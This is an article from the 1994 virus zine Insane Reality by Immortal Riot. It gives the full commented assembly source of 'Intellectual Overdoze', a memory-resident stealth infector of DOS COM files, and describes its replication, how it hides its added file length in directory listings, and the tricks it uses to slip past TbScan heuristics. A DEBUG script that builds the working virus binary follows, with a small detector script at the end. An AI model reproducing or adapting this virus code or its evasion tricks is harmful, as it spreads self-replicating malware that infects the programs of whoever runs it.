Insane Reality issue #6 - (c)opyright 1994 Immortal Riot                File 005

; ------------------------------------------------------------------------------
;
;                       - Intellectual Overdoze -
;       Created by Immortal Riot's destructive development team
;              (c) 1994 The Unforgiven/Immortal Riot 
;
;-------------------------------------------------------------------------------
;	    Memory Resident Stealth Infector of COM-programs 
;-------------------------------------------------------------------------------

  Replication:

   This virus will go resident, allocating 496 bytes below Top Of Memory. 
   It will if resident infect com files that are executed (4b00h/int21h). 
   If an infected file is being touched with the functions 11h or 12h/i21h, 
   (i.e. like in a dos-dir), the virus will substract the added lenght from 
   it, making this virus stealth.

   The virus saves and restores the file's time/date stamp, but alter
   the second-value to use to determinate if the virus should decrease
   the file's lenght with its own code whenever a dos-dir is performed or
   not.

   As infection-marker, it checks the fourth character from beginning,
   and if it's a 'V' (as in Victory, Virus or Vengence), it assumes that
   it's already infected, and will ofcos not infect it again. Furthermore, 
   no comfile below 3072 bytes or larger than 64000 bytes will be touched.

  Future improvments:

   It's doesnt modifies the file-attribs, hook int24h (the critical
   error handler that is..), uses any encryption, and doesnt include
   any damaging routine at all. This will probably be added in other
   versions of it.. This is afterall, 'only' 472 bytes.

  Anti-Virus-Detection:

   Tbscan 6.26 hardest heuristics cannot detect one single flag, still
   uses it no encryption, just some alternative routines to avoid detection
   from it. This ofcos resulted in that some code looks quite ugly, but
   what the fuck. This is profe enough that tbscan has no real code emulator. 
   Enjoy!


	.model  tiny
        .code
        org     100h

start:  

        jmp     virus_start                      ; for first generation only!
        db      'V'                              ; mark org file infected

virus_start:

	mov     sp,102h                     	 ; get delta offset without
        call    get_delta_offset                 ; getting detected by tbscan
                                          
                                                                 
get_delta_offset:

	call    cheat_tbscan               	 ; kick's tbscan's heuristics
	mov     si,word ptr ds:[100h]            ; real bad!
	mov     sp,0fffeh
	sub     si,offset get_delta_offset
	jmp     short go_resident

cheat_tbscan:

        mov     ax,0305h                         ; keyb i/o           
        xor     bx,bx
        int     16h
        ret

go_resident:

        mov     bp,si                      

installtion_check:

        mov     ax,6666h                     
        int     21h
        cmp     bx,6666h		         ; 6666h returned in bx?
        je      already_resident                 ; = assume resident

        push    cs
        pop     ds

resize_memory_block:

        mov     ah,4ah                       	 ; find top of memory
        mov     bx,0ffffh		     	 ; (65536)
        int     21h			     

resize_memory_block_for_virus:

        sub     bx,(virus_end-virus_start+15)/16+1  ; resize enough para's
        mov     ah,4ah                              ; for virus
        int     21h

allocate_memory_block_for_virus:

        mov     ah,48h				     ; allocate for virus
        mov     bx,(virus_end-virus_start+15)/16
        int     21h
        jc      not_enough_mem  		     ; not enough memory!

        dec     ax				     ; ax - 1 = mcb
        push    es
        
mark_allocated_memory_block_to_dos:

        mov     es,ax
        mov     byte ptr es:[0],'Z'
        mov     word ptr es:[1],8                ; dos = mcb owner
        inc     ax

copy_virus_to_memory:

        cld					 ; clear direction for movsw
        lea     si,[bp+offset virus_start]	 ; vir start
        mov     es,ax
	xor     di,di
        mov     cx,(virus_end-virus_start+4)/2   ; vir len
        rep     movsw

manually_hook_of_int21h:

        xor     ax,ax
        mov     ds,ax
        push    ds                            
						 ; get/set int vector for int21
        lds     ax,ds:[21h*4]                                            
        mov     word ptr es:[oldint21h-virus_start],ax  
        mov     word ptr es:[oldint21h-virus_start+2],ds
        pop     ds
        mov     word ptr ds:[21h*4],(newint21h-virus_start)

        mov     bx,es				 ; cheat tbscan since
        mov     ds:[21h*4+2],bx                  ; mov ds:[21h*4+2],es = M flag

        push    cs                              
        pop     ds                                                      
                                                   
exit:
not_enough_mem:
already_resident:

        push    cs                                               
        pop     es                               

restore_first_bytes:

        mov     di,100h                       
        mov     cx,4                                                  
        mov     si,offset orgbuf              
 	add     si,bp				 ; fix correct offset (delta)
        repne   movsb				 

jmp_org_program:
						 
        mov     ax,101h                          ; cheats tbscan's back to     
	dec     ax                        	 ; entry point
        jmp     ax                                    


newint21h:

        cmp     ax,4b00h                         ; file executed?
        je      infect                           
        
        cmp     ah,11h                           ; fcb findfirst call?
        je      fcb_stealth

        cmp     ah,12h                     	 ; fcb findnext call?
        je      fcb_stealth

        cmp     ax,6666h                         ; residency check            
        jne     do_old21h			 ; not resident
        mov     bx,6666h                         ; return marker in bx

do_old21h:

        jmp     dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
        ret                                     

fcb_stealth:

        pushf
        push    cs				 ; fake a int call with pushf
        call    do_old21h			 ; and cs, ip on the stack
        cmp     al,00			    	 ; dir successfull?
	jnz     dir_error			 ; naw, skip stealth routine!
        push    ax                              
        push    bx                              
        push    es                              
        mov     ah,51h                           ; Get active PSP to es:bx
        int     21h                             
        mov     es,bx                           
        cmp     bx,es:[16h]                      ; Dos calling it?
        jnz     not_dos				 ; Nope!
        mov     bx,dx                           
        mov     al,[bx]                          ; al = current drive
        push    ax                               
        mov     ah,2fh                           ; get dta area
        int     21h                              
        pop     ax                               ; check extended fcb 
        inc     al                               ; "cmp byte ptr [bx],0ffh"
        jnz     normal_fcb			 ; nope, regular fcb!

ext_fcb:
        add     bx,7h                            ; skip junkie if ext fcb

normal_fcb:

        mov     ax,es:[bx+17h]			 ; get second value
        and     ax,1fh
        xor     al,01h
        jnz     no_stealth			 ; second-stealth value match

; Here one should really check (i) if the file was a comfile, and (ii), 
; the file-size ( >472 bytes) But oh well, maybe to come.. 

        and     byte ptr es:[bx+17h],0e0h	 ; substract virus len
        sub     es:[bx+1dh],(virus_end-virus_start)
        sbb     es:[bx+1fh],ax                  

no_stealth:
not_dos:

        pop     es                              
        pop     bx                              
        pop     ax                              
        
dir_error:   
        iret                                    
                                                
infect:

        push    ax                              
        push    bx                              
        push    cx
        push    dx
        push    di
        push    si
        push    ds
        push    es

open_file:

        mov     ax,3d02h                         ; open file in read/write
        int     21h                              ; mode
        jc      error_open                       ; error on file open
        
        xchg    ax,bx                            ; file handle in bx
                
        push    ds                              
        push    cs                              
        pop     ds                              

read_firstbytes:

        mov     ah,3fh                           ; read first four bytes
        mov     dx,(orgbuf-virus_start)          ; to orgbuf
        mov     cx,4                            
        int     21h                             


check_file_executed:

        cmp     byte ptr cs:[(orgbuf-virus_start)],'M'   ; check only first byte
        je      exe_file                                 ; - fooling tbscan
                                                          

check_previous_infection:

        cmp     byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected?
        je      already_infected

        jmp     short get_file_time_date		 ; not infected

error_open:
already_infected:
exe_file:


        jmp     exit_proc                                ; dont infect file


get_file_time_date:

        mov     ax,5700h				 ; get time/date
        int     21h

        mov     word ptr cs:[(old_time-virus_start)],cx  ; save time
        mov     word ptr cs:[(old_date-virus_start)],dx  ; and date
 
go_endoffile:

        mov     ax,4202h			         ; go end of file
	xor     cx,cx
        cwd
        int     21h

check_file_size:

	cmp     ax,3072d			         ; check file-size
        jb      too_small

	cmp     ax,64000d
        ja      too_big

create_newjump:

	sub     ax,3				         ; 0e9h,XX,XX,
        mov     word ptr cs:[(newbuf+1-virus_start)],ax	 ; V => AX

write_virus:

        mov     ah,40h				  ; write virus to end of file
        mov     cx,(virus_end-virus_start)
;       cwd                                       ; (dx = 0 since go eof)
        int     21h

go_tof:

        mov     ax,4200h
	xor     cx,cx
;       cwd                                        ; ( dx = 0 since go eof)
        int     21h


write_newjump:

        mov     ah,40h                             ; write new jmp to tof
        mov     cx,4 				   ; = 0E9H,XX,XX,V
        mov     dx,(newbuf-virus_start)            ; offset to write from
        int     21h
        

set_org_time_date:
too_small:
too_big:

        mov     ax,5701h				   ; set back org
        mov     word ptr cx,cs:[(old_time-virus_start)]    ; time
        mov     word ptr dx,cs:[(old_date-virus_start)]    ; date
        

set_stealth_marker:

 	and     cl,0e0h                                    ; give file
	inc     cl                                         ; specific
        int     21h                                        ; second val

close_file:

        mov     ah,3eh                                     ; close file
        int     21h

exit_proc:

        pop     ds
        pop     es
        pop     ds
        pop     si
        pop     di
        pop     dx
        pop     cx
        pop     bx
        pop     ax

        jmp     dword ptr cs:[(oldint21h-virus_start)]	   ; jmp ssss:oooo

old_date  dw    0					   ; storage buffers
old_time  dw    0					   ; for file time/date
oldint21h dd    ?                                          ; and oldint21h

orgbuf  db      0cdh,20h,00,00         ; buffer to save first 4 bytes in
newbuf  db      0E9h,00,00,'V'         ; buffer to calculate a new entry

copyrt  db      "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot"

virus_end:
        end     start
-------------------------------------------------------------------------------
N iod.com
E  100  EB 02 90 56 BC 02 01 E8 00 00 E8 0D 00 8B 36 00
E  110  01 BC FE FF 81 EE 0A 01 EB 08 B8 05 03 33 DB CD
E  120  16 C3 8B EE B8 66 66 CD 21 81 FB 66 66 74 5B 0E
E  130  1F B4 4A BB FF FF CD 21 83 EB 1F 90 B4 4A CD 21
E  140  B4 48 BB 1E 00 CD 21 72 41 48 06 8E C0 26 C6 06
E  150  00 00 5A 26 C7 06 01 00 08 00 40 FC 8D B6 04 01
E  160  8E C0 33 FF B9 EE 00 F3 A5 33 C0 8E D8 1E C5 06
E  170  84 00 26 A3 9C 01 26 8C 1E 9E 01 1F C7 06 84 00
E  180  9B 00 8C C3 89 1E 86 00 0E 1F 0E 07 BF 00 01 B9
E  190  04 00 BE A4 02 03 F5 F2 A4 B8 01 01 48 FF E0 3D
E  1a0  00 4B 74 60 80 FC 11 74 13 80 FC 12 74 0E 3D 66
E  1b0  66 75 03 BB 66 66 2E FF 2E 9C 01 C3 9C 0E E8 F5
E  1c0  FF 3C 00 75 3E 50 53 06 B4 51 CD 21 8E C3 26 3B
E  1d0  1E 16 00 75 2B 8B DA 8A 07 50 B4 2F CD 21 58 FE
E  1e0  C0 75 03 83 C3 07 26 8B 47 17 25 1F 00 34 01 75
E  1f0  0F 26 80 67 17 E0 26 81 6F 1D D8 01 26 19 47 1F
E  200  07 5B 58 CF 50 53 51 52 57 56 1E 06 B8 02 3D CD
E  210  21 72 20 93 1E 0E 1F B4 3F BA A0 01 B9 04 00 CD
E  220  21 2E 80 3E A0 01 4D 74 0A 2E 80 3E A3 01 56 74
E  230  02 EB 03 EB 59 90 B8 00 57 CD 21 2E 89 0E 9A 01
E  240  2E 89 16 98 01 B8 02 42 33 C9 99 CD 21 3D 00 0C
E  250  72 24 3D 00 FA 77 1F 2D 03 00 2E A3 A5 01 B4 40
E  260  B9 D8 01 CD 21 B8 00 42 33 C9 CD 21 B4 40 B9 04
E  270  00 BA A4 01 CD 21 B8 01 57 2E 8B 0E 9A 01 2E 8B
E  280  16 98 01 80 E1 E0 FE C1 CD 21 B4 3E CD 21 1F 07
E  290  1F 5E 5F 5A 59 5B 58 2E FF 2E 9C 01 00 00 00 00
E  2a0  00 00 00 00 CD 20 00 00 E9 00 00 56 5B 4F 76 65
E  2b0  72 64 6F 7A 65 5D 20 28 63 29 20 31 39 39 34 20
E  2c0  54 68 65 20 55 6E 66 6F 72 67 69 76 65 6E 2F 49
E  2d0  6D 6D 6F 72 74 61 6C 20 52 69 6F 74 
RCX
1dc
W
Q
--------------------------------------------------------------------------------
  Anti-Virus:

   Here follow a small debug-script of a detection program for
   it. Don't want my readers to get in trouble. Oh well.

N anti-iod.com
E  100  EB 5E 50 53 56 1E 0E 50 5B 1F BE 5C 01 AD 3D 00
E  110  00 74 10 3B D8 75 F6 B4 09 BA 2C 01 CD 21 B8 00
E  120  4C CD 21 1F 5E 5B 58 EA 00 00 99 7C 49 6E 74 65
E  130  6C 6C 65 63 74 75 61 6C 20 4F 76 65 72 64 6F 7A
E  140  65 20 66 6F 75 6E 64 20 2D 20 41 62 6F 72 74 69
E  150  6E 67 21 07 21 07 21 07 21 0A 0D 24 66 66 00 00
E  160  B4 49 8E 06 2C 00 CD 21 B8 21 35 CD 21 89 1E 28
E  170  01 8C 06 2A 01 B4 25 BA 02 01 CD 21 BA 6A 01 CD
E  180  27 
RCX
81
W
Q
